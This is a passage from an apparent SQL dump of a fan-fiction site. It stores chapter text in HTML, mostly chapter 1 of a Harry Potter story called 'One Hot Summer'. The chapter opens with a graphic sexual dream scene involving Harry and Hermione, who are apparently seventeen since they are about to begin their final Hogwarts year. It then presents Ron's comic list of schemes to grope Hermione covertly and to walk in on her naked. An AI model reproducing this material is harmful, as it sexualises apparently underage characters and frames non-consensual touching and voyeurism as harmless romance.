you now? How\ndid you get past the two day limit on the time turners, how did you hide you\nscar, and ....&quot;</p>\n\n<p>&quot; I&#8217;ll\nstart way at the beginning. Right after we met the Nundu. Is that ok?&quot;</p>\n\n<p>&quot; Very...&quot;</p>\n\n<p>&quot; Okay...&quot;\nstarted Harry,&quot; It is one of those days. Not too bright, not to too dark.\nIt was a day like any other, it was a day that I...&quot;</p>\n\n<p>Hermione\ninterrupted, &quot; Will you just get on with it?&quot;</p>\n\n<p>&quot; Okay...\nRight after, I landed...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(14, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: All original Harry Potter characters belong to\nJ.K. Rowlings, not me. *sigh* Oh well.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And a big fat thank you to my buddy NAPPA who helped me kill my plot bunny.&nbsp;\nThanks a mill NAPPA. Go and read his fics Septanic Dueling and Tangled Fates. They are excellent!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">One Hot Summer</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 1&#8212;Ron&#8217;s Plans</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Right here?&#8221;</i><i style="mso-bidi-font-style:\nnormal"> He teased.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Oh yes please, right there.&#8221; She purred and his hand continued to\ntravel down over her belly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;You sure Hermione?&#8221;</i><i style="mso-bidi-font-style:normal"> He leaned in closer and ran his tongue up\nthe side of her neck as his hand neared his prize.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She felt his fingers barely pass over the hem of her panties to rest\ninches on the mound just above her sex.&nbsp;\nShe started to squirm from his light teasing. &#8220;yes.&#8221;\nShe breathed out&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Tell me what you want.&#8221; He lifted his head and gazed into her eyes, he\nlowered his head and traced her lips with the tip of his tongue, she opened her mouth to him so he could kiss her\nproperly.&nbsp; His tongue dipped into her\nmouth coming in contact with hers, flicking and commanding her to respond. She\ndid while pushing her lower body into his hand.&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He lightly traced his fingers along the opening of her sex, pressing\nher panties so intimately against her, she gasped into his mouth.&nbsp; She felt his fingers now inside her panties\ncaressing each fold of her silky softness.&nbsp;\nHe inserted his finger into her warmth, and she ripped her mouth from\nhis in her blissful cry.&nbsp; He inserted a\nsecond finger and she rocked her hips while his thumb teased the soft button\nthat caused the cries of her aching need for him fill the room.&nbsp; He was bringing her higher and higher away\nfrom reality, faster and faster, in and out of her his fingers moved.&nbsp; She couldn&#8217;t keep it in, she screamed out\n&#8220;HARRY!!!&#8221;&nbsp; in absolute pleasure&#8212;</i>AHHHHHH!!!\nNOOOO!!! Came the loud scream from Ron as he woke in a\ncold sweat, and holding his pillow so tightly against his chest.&nbsp; He glanced about his pitch black, room.&nbsp; Ron&#8217;s eyes adjusted to the dark, he had never\nhad such a horrible nightmare in his life.&nbsp;\nIt should have been him in the dream, he thought.&nbsp; He leaned over and lit the candle on his\nnightstand. There were several pictures sitting on his nightstand of himself,\nHermione, and Harry.&nbsp; The\nthree best friends.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron swung his feet over the side\nof the bed, and stood up. The wooden floor was cold as he walked across the\nroom to his small desk.&nbsp; He opened the\ndrawer and pulled out some letters that he had gotten from his friends over the\npast summer.&nbsp; It was only one month until\nthey had to be back at school for their seventh, and final\nyear at Hogwarts.&nbsp; There was nothing in\nthe way of a good year.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Last year was a triumph his best\nfriend Harry Potter, with the help of the Order of the Phoenix they had finally\ndefeated the Dark Lord Voldemort.&nbsp; All\nwas well; nothing was keeping Harry from living with Sirius as his name had\nbeen cleared. There was nothing standing in his way of him and his desire, not\nto mention best friend Hermione Granger. Although she didn&#8217;t know she was his\ngirl, but she would be soon enough.&nbsp; Ron\nsighed deeply and sat down in his chair glancing out at the dark night.&nbsp; He picked up the first letter it was from\nHarry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron,</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius said it would be alright if I\nstayed the rest of the summer with you, I&#8217;ll be there tomorrow around noon,\nI&#8217;ll be arriving by floo powder. See you then.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron placed the letter down on his\ndesk and pulled out the second one, it was from Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Dear Ron,</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Thank you for inviting me to stay\nwith you and your family, my parents said it would be alright if I stayed for\nthe rest of the summer, but someone in your family would have to pick me up\nsince they have no idea how to get to your house.&nbsp; I&#8217;m positive that your mother or father or\nany of your brothers could floo to my house.&nbsp; So if you would send someone to retrieve me\naround noon it would be grand.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">You&#8217;re friend,</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Hermione</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">P.S. Did you know Harry is coming\nas well?&nbsp; This is going to be so much\nfun.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Ron pulled out another sheet of\nparchment, it was a list of things to do, mainly his list of things to do to\nHermione while she was here.&nbsp; He chuckled\nlightly while reading, he had a brilliant plan to make the witch of his desires\nwell his.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Give\nHermione big hug when she arrives</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Help\nHermione unpack her things and check out her underwear </p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get\nanother hug for helping unpack and sneak in cheap feel.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get\nsome alone time with Hermione after dinner</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next\nday take Hermione and Harry to the pond for swimming, check out Hermione in\nBathing suit.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next\nday offer for the three of us to do rest of summer homework and praise her\nintelligence.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pretend\nto not understand something and have her lean on me so I can touch her.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pretend\nto drop quill under table, I&#8217;ll ask her retrieve it and she will. I&#8217;ll get a\ngood view of her ass.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wait\na few days then continue with plan.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">10.&nbsp; &nbsp;Go to Percy&#8217;s One year fancy anniversary party, tell Hermione how pretty she looks. Hoping for low\nneck gown to be able to see more of her. At end of party give quick kiss on the\ncheek.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">11.&nbsp; Next day\nKiss Hermione again.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">12.&nbsp; Next day\nwait till Hermione is out of shower and in the room, walk in on her&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:27.0pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; naked and\npretend to be sorry.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">13.&nbsp; Next day\ntake Harry and Hermione on a picnic Pretend to fall and land on&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:45.0pt">Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">14.&nbsp; Next day\nGive Hermione big kiss tell her my feelings for her.</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">15.&nbsp; Wait a few\ndays giving her time to think</p>\n\n<p class="MsoNormal" style="margin-left:45.0pt;text-indent:-.25in;mso-list:l0 level1 lfo2;\ntab-stops:list 45.0pt">16.&nbsp; She&#8217;s mine.\nSleep with Hermione. </p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron glanced his\nlist over,&nbsp; he\nshould have no problems he looked over at his clock only ten hours till\nHermione and Harry arrive.&nbsp; He decided to\ngo back to sleep, or at least try to.&nbsp; He\ndid not want to have another nightmare like the one he woke up from.&nbsp; He crawled back in under his covers and blew\nout the candle and closed his eyes to sleep.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Something\njumped on his bed, &#8220;Wake up Ronnie.&#8221; The voice said</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron stirred he\nknew who that annoying voice belonged to, &#8220;Fred, go away.&#8221; He said turning over\nto go back to sleep. He felt something else jump onto his bed.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Ron, up, up,\nup.&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron squinted\nhis eyes shut tighter, &#8220;Not you too George?&nbsp;\nJust leave me alone.&#8221; He sat up a bit.&nbsp;\n&#8220;Both of you get out of my room!&#8221;&nbsp;\nHe took one of his pillows and threw it at George.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Fine,&#8221; George\nsaid and Ron leaned back against his pillows for another chance in the dream\nworld.&nbsp; George was about to flick Ron in\nthe ear when his something caught his attention.&nbsp; He looked up seeing his brother signaling to\nhim.&nbsp; George looked at his brother oddly\nand moved over to Fred who was near Ron&#8217;s desk.&nbsp;&nbsp;&nbsp; Fred pointed down to the list with a jerk\nof his chin.&nbsp; Check it out Fred mouthed\nto his brother in silence.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">George scanned\nthe list and started laughing quietly to himself &#8220;Someone has a crush.&#8221; George\nwhispered to his brother.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Obviously.&#8221; Fred smirked crossing his arms over his chest.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;I wonder what\nHermione would say to reading something like this?&#8221; George said.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Fred looked\nright at his brother, &#8220;I think we need to teach our brother a lesson.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;That he shouldn&#8217;t be thinking about his best friend that way?&#8221;\nGeorge asked.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;No, that he\nshouldn&#8217;t leave lists of how to get a girl in bed lying around where just\nanyone could pick them up.&#8221; Fred grinned.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;You think we\nshould mess up his plans?&#8221; George asked already knowing the answer,\nhis mouth was watering with just the thought of it.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Naturally, and\nI have the perfect plan for our dear brother&#8217;s plan.&nbsp; Quick let&#8217;s write this down to be able refer\nback to it.&#8221;&nbsp; Fred replied as he quietly\ngot out another sheet of parchment and George got the quill out and they began\nwriting down Ron&#8217;s list.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;You know it&#8217;s\nkinda dumb to even write a list like this, what if the female he was working on\ncame across it?&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;We can save\nthat for the finale.&#8221; Fred said.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Oh that is\njust so cruel.&#8221; George paused, &#8220;I like it.&#8221; George said with a devilish smirk.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Fred folded up\nthe completed list and put it in his pocket just as they heard their mother&#8217;s voice\nshout up the stairs at them.&nbsp; &#8220;Ronald are you up yet?&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Not yet.&#8221; Fred\nwhispered as him and George chuckled lightly. They heard Ron start to shift and\nmove.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron stirred\nagain violently shaken from his dreams, he sat up\nrubbing the sleep out of his eyes. &#8220;Yes, yes I&#8217;m up.&#8221; He shouted sleepily and\nhe stood up from his bed Fred and George left the room and he proceeded to get\nready for the day.&nbsp; He looked over at the\nclock, it was an hour till his friends would arrive, he\nthen wondered why his family let him sleep so late.&nbsp; He quickly got dressed and headed down\nstairs.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry was the\nfirst to arrive and Ron jumped up from the couch to greet his friend.&nbsp;&nbsp; &#8220;Hiya Harry.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry smiled\nseeing his friend coming towards him with a huge grin on his face.&nbsp; &#8220;Hey Ron, how&#8217;s your summer been?&#8221; <i style="mso-bidi-font-style:normal">He sure looks like he&#8217;s in a good mood</i>.\nHarry thought to himself</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;It&#8217;s been\nAlright I suppose, but now my best friends are coming to stay with me I&#8217;m sure\nmy fun will pick up.&#8221; Ron said with a hidden smile. <i style="mso-bidi-font-style:\nnormal">Oh yes indeed</i>. He thought while trying to hold in a snigger.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;So, what do we\ndo first?&#8221; Harry asked as he looked around the room. He always loved coming\nhere.&nbsp; It felt like he was part of a real\nfamily before he moved in with Sirius.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Well we still\nhave to wait for Hermione, she&#8217;s not here yet.&#8221; Ron said with a smile.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Not yet,\nHermione is usually always on time.&#8221; Harry said with a half grin.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Well my mum\nwent to pick her up, she probably got to talking with\nHermione&#8217;s parents I swear she&#8217;s getting almost as bad as Dad is.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry\nchuckled.&nbsp; He saw Fred and George come\ninto the room with smiles etched across their faces.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Hey Harry, you\nmade it. No problems with the planning in getting here I trust?&#8221;&nbsp; George said with a smirk.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Uh yeah,&#8221; He\ngave the twins an odd look. &#8220;It wasn&#8217;t that hard to get here, I just flooed in.\nI can&#8217;t apparate yet.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;I can&#8217;t\nbelieve the ministry won&#8217;t make an exception for you to be able to apparate,\nafter all you are the&#8212;&#8220;Fred was interrupted by Harry.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;No really, its\nfine. Rules are rules and they aren&#8217;t meant to me broken.&#8221; Harry said with a\nsmirk.&nbsp; &#8220;Unless you\nhave a really good reason.&#8221; He added.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Are you\nkidding, rules are always meant to be broken.&#8221; George said with a wide grin\nreaching from ear to ear.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Mrs. Weasley\nand Hermione with her trunk came through the fireplace and landed with a thud\nin the room.&nbsp; Mrs. Weasley brushed off\nher robes with her hands noticing Harry had arrived. </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Hallo Harry\nnice to see you made it.&#8221; She said with a kind smile.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Yes.&#8221; Harry\nsaid with a nod.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Hermione\ndragged her trunk behind her as she stepped out of the fireplace more. &#8220;This\ndang thing just gets heavier and heavier.&#8221; She complained.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron and Harry\nboth noticed that nothing had really changed a lot with Hermione over the summer,\nshe still had the same bushy hair bit it was pulled up in a banana clip,\nshowing off her pretty face. She was in a pair of thigh high jean shorts and a\ngreen v-neck t-shirt, nothing too flashy just simple and casual. </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Both boys felt\nthemselves smiling while watching her pulling her trunk behind her trying to\nget more into the room. </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron let his\neyes wander about her, she looked firm and trim.&nbsp; He let his gaze travel about her long legs\nwhich were toned with slight muscle, not that she overly worked out, just\nenough to be appealing.&nbsp; Ron looked over\nat Harry noticing him doing the same thing, he felt\nhimself scowl a bit and then returned his gaze to watching Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Hermione gave\nup on her trunk and finally looked up at the boys, &#8220;well this is going to be\nsome fun isn&#8217;t it?&#8221; She said with a smile.&nbsp;\nHermione first stepped up to Harry throwing her arms around him in a big\nfriendly embrace.&nbsp; &#8220;Is everything all\nright with you?&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Harry hesitated\na moment before his arms went around her and tightened.&nbsp; He gave off a soft sigh that no one could\nhear while holding her to him &#8220;Yeah, great.&#8221; He said quietly.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">She smiled &#8220;Uh,\nHarry you can let go now.&#8221; Hermione said with obvious amusement in her voice.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Oh, right.&#8221;\nHarry dropped his arms from around her and stepped back a little. &#8220;Sorry.&#8221; He\nfelt slightly embarrassed.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;It&#8217;s fine.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron was\nscowling in bitter anger by now, <i style="mso-bidi-font-style:normal">remember\nthe plan</i>? His mind shouted and he calmed a bit <i style="mso-bidi-font-style:\nnormal">Right, right</i> he said back to himself. <i style="mso-bidi-font-style:\nnormal">If I just stick to the plan she will soon be mine.&nbsp; Okay time for my hug now.</i>&nbsp; He looked at Hermione and a smile graced his\nface as she saw him smile back at him.&nbsp; &#8220;Hey Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Ron.&#8221; She said\nwith a nod and she stepped up to him going to give him a similar greeting.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">Ron was ready\nfor it, he was almost there.&nbsp; She was\nstepping so close, almost in his arms.&nbsp;\nSomething was violently thrown and an orb rushed past his head to break\nagainst the wall BOOM!!! CRASH!!! </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;&#8220;AHH!&#8221; Hermione\njumped almost tripping back from the noise that startled her. She was in luck\nthat Harry had stepped forward and caught her or she would have had one bruised\nbottom.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;Hey thanks\nHarry.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:9.0pt;text-indent:27.0pt">&#8220;No problem\nHermione, I&#8217;ll always be here to catch you.&#8221; Harry returned the smile but he\nalso wanted to slam his palm over his 